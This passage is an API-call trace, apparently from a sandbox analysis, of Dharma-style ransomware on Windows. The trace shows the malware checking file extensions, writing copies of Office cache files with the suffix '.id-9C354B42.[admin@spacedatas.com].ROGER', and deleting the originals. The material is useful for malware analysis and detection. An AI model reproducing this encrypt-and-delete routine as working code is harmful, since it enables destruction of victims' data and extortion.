[0039.207] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.207] lstrlenW (lpString=".xlsx") returned 5 [0039.220] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0039.220] lstrlenW (lpString=".ppt") returned 4 [0039.220] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0039.220] lstrlenW (lpString=".zip") returned 4 [0039.220] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.220] lstrlenW (lpString=".rar") returned 4 [0039.220] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.220] lstrlenW (lpString=".bz2") returned 4 [0039.220] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.220] lstrlenW (lpString=".7z") returned 3 [0039.220] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0039.220] lstrlenW (lpString=".dbf") returned 4 [0039.220] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0039.220] lstrlenW (lpString=".1cd") returned 4 [0039.220] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0039.220] lstrlenW (lpString=".jpg") returned 4 [0039.220] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.220] lstrcmpiW (lpString1=".chm", lpString2=".ROGER") returned -1 [0039.220] lstrlenW (lpString="setup.chm") returned 9 [0039.220] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0040.533] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=67190) returned 1 [0040.533] CloseHandle (hObject=0x388) returned 1 [0040.533] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 0x2020 [0040.533] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0040.533] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0040.533] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.533] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.533] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0040.534] GetLastError () returned 0x0 [0040.534] ReadFile (in: hFile=0x388, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x10676, lpOverlapped=0x0) returned 1 [0040.703] WriteFile (in: hFile=0x38c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x10680, lpOverlapped=0x0) returned 1 [0040.705] ReadFile (in: hFile=0x388, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0040.705] WriteFile (in: hFile=0x38c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.706] SetEndOfFile (hFile=0x38c) returned 1 [0040.706] CloseHandle (hObject=0x38c) returned 1 [0040.707] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.707] SetEndOfFile (hFile=0x388) returned 1 [0040.708] CloseHandle (hObject=0x388) returned 1 [0040.708] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0040.708] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 1 [0040.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0040.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0040.709] lstrlenW (lpString=".doc") returned 4 [0040.709] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0040.709] lstrlenW (lpString=".docx") returned 5 [0040.709] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0040.709] lstrlenW (lpString=".pdf") returned 4 [0040.709] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0040.709] lstrlenW (lpString=".xls") returned 4 [0040.709] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0040.709] lstrlenW (lpString=".xlsx") returned 5 [0040.709] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0040.709] lstrlenW (lpString=".ppt") returned 4 [0040.709] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0040.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0040.709] lstrlenW (lpString=".zip") returned 4 [0040.709] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0040.709] lstrlenW (lpString=".rar") returned 4 [0040.709] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0040.709] lstrlenW (lpString=".bz2") returned 4 [0040.709] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0040.709] lstrlenW (lpString=".7z") returned 3 [0040.709] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0040.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0040.709] lstrlenW (lpString=".dbf") returned 4 [0040.709] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0040.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0040.709] lstrlenW (lpString=".1cd") returned 4 [0040.709] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0040.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0040.710] lstrlenW (lpString=".jpg") returned 4 [0040.710] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0040.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0040.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0040.710] lstrlenW (lpString=".doc") returned 4 [0040.710] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0040.710] lstrlenW (lpString=".docx") returned 5 [0040.710] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0040.710] lstrlenW (lpString=".pdf") returned 4 [0040.710] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0040.710] lstrlenW (lpString=".xls") returned 4 [0040.710] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0040.710] lstrlenW (lpString=".xlsx") returned 5 [0040.710] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0040.710] lstrlenW (lpString=".ppt") returned 4 [0040.710] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0040.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0040.710] lstrlenW (lpString=".zip") returned 4 [0040.710] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0040.710] lstrlenW (lpString=".rar") returned 4 [0040.710] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0040.710] lstrlenW (lpString=".bz2") returned 4 [0040.710] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0040.710] lstrlenW (lpString=".7z") returned 3 [0040.710] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0040.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0040.710] lstrlenW (lpString=".dbf") returned 4 [0040.710] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0040.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0040.710] lstrlenW (lpString=".1cd") returned 4 [0040.710] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0040.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0040.711] lstrlenW (lpString=".jpg") returned 4 [0040.711] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0040.711] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0040.711] lstrlenW (lpString="Office32WW.xml") returned 14 [0040.711] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0040.838] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=4274) returned 1 [0040.838] CloseHandle (hObject=0x398) returned 1 [0040.838] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0040.838] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0040.839] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0040.839] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.839] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.839] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0040.839] GetLastError () returned 0x0 [0040.839] ReadFile (in: hFile=0x398, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x10b2, lpOverlapped=0x0) returned 1 [0040.841] WriteFile (in: hFile=0x388, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0040.842] ReadFile (in: hFile=0x398, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0040.842] WriteFile (in: hFile=0x388, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xf0, lpOverlapped=0x0) returned 1 [0040.843] SetEndOfFile (hFile=0x388) returned 1 [0040.843] CloseHandle (hObject=0x388) returned 1 [0040.844] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.844] SetEndOfFile (hFile=0x398) returned 1 [0040.844] CloseHandle (hObject=0x398) returned 1 [0040.844] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0040.845] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0040.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.845] lstrlenW (lpString=".doc") returned 4 [0040.845] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.845] lstrlenW (lpString=".docx") returned 5 [0040.845] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0040.845] lstrlenW (lpString=".pdf") returned 4 [0040.845] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.845] lstrlenW (lpString=".xls") returned 4 [0040.845] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.845] lstrlenW (lpString=".xlsx") returned 5 [0040.845] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0040.846] lstrlenW (lpString=".ppt") returned 4 [0040.846] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.846] lstrlenW (lpString=".zip") returned 4 [0040.846] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.846] lstrlenW (lpString=".rar") returned 4 [0040.846] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.846] lstrlenW (lpString=".bz2") returned 4 [0040.846] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.846] lstrlenW (lpString=".7z") returned 3 [0040.846] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.846] lstrlenW (lpString=".dbf") returned 4 [0040.846] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.846] lstrlenW (lpString=".1cd") returned 4 [0040.846] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.846] lstrlenW (lpString=".jpg") returned 4 [0040.846] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.846] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.846] lstrlenW (lpString=".doc") returned 4 [0040.846] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.846] lstrlenW (lpString=".docx") returned 5 [0040.846] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0040.846] lstrlenW (lpString=".pdf") returned 4 [0040.846] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.846] lstrlenW (lpString=".xls") returned 4 [0040.846] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.846] lstrlenW (lpString=".xlsx") returned 5 [0040.846] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0040.847] lstrlenW (lpString=".ppt") returned 4 [0040.847] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.847] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.847] lstrlenW (lpString=".zip") returned 4 [0040.847] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.847] lstrlenW (lpString=".rar") returned 4 [0040.847] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.847] lstrlenW (lpString=".bz2") returned 4 [0040.847] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.847] lstrlenW (lpString=".7z") returned 3 [0040.847] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.847] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.847] lstrlenW (lpString=".dbf") returned 4 [0040.847] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.847] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.847] lstrlenW (lpString=".1cd") returned 4 [0040.847] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.847] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.847] lstrlenW (lpString=".jpg") returned 4 [0040.847] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.847] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0040.847] lstrlenW (lpString="Office32WW.xml") returned 14 [0040.847] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0040.848] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=4274) returned 1 [0040.848] CloseHandle (hObject=0x398) returned 1 [0040.848] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0040.848] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0040.849] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0040.849] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.849] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.849] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0040.849] GetLastError () returned 0x0 [0040.849] ReadFile (in: hFile=0x398, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x10b2, lpOverlapped=0x0) returned 1 [0040.865] WriteFile (in: hFile=0x388, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0040.866] ReadFile (in: hFile=0x398, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0040.866] WriteFile (in: hFile=0x388, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xf0, lpOverlapped=0x0) returned 1 [0040.866] SetEndOfFile (hFile=0x388) returned 1 [0040.866] CloseHandle (hObject=0x388) returned 1 [0040.867] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.867] SetEndOfFile (hFile=0x398) returned 1 [0040.868] CloseHandle (hObject=0x398) returned 1 [0040.868] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0040.868] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0040.868] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.868] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.868] lstrlenW (lpString=".doc") returned 4 [0040.868] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.868] lstrlenW (lpString=".docx") returned 5 [0040.868] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0040.868] lstrlenW (lpString=".pdf") returned 4 [0040.868] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.869] lstrlenW (lpString=".xls") returned 4 [0040.869] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.869] lstrlenW (lpString=".xlsx") returned 5 [0040.869] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0040.869] lstrlenW (lpString=".ppt") returned 4 [0040.869] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.869] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.869] lstrlenW (lpString=".zip") returned 4 [0040.869] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.869] lstrlenW (lpString=".rar") returned 4 [0040.869] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.869] lstrlenW (lpString=".bz2") returned 4 [0040.869] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.869] lstrlenW (lpString=".7z") returned 3 [0040.869] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.869] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.869] lstrlenW (lpString=".dbf") returned 4 [0040.869] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.869] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.869] lstrlenW (lpString=".1cd") returned 4 [0040.869] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.869] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.869] lstrlenW (lpString=".jpg") returned 4 [0040.869] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.869] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.869] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.869] lstrlenW (lpString=".doc") returned 4 [0040.869] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.869] lstrlenW (lpString=".docx") returned 5 [0040.869] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0040.870] lstrlenW (lpString=".pdf") returned 4 [0040.870] lstrcmpiW 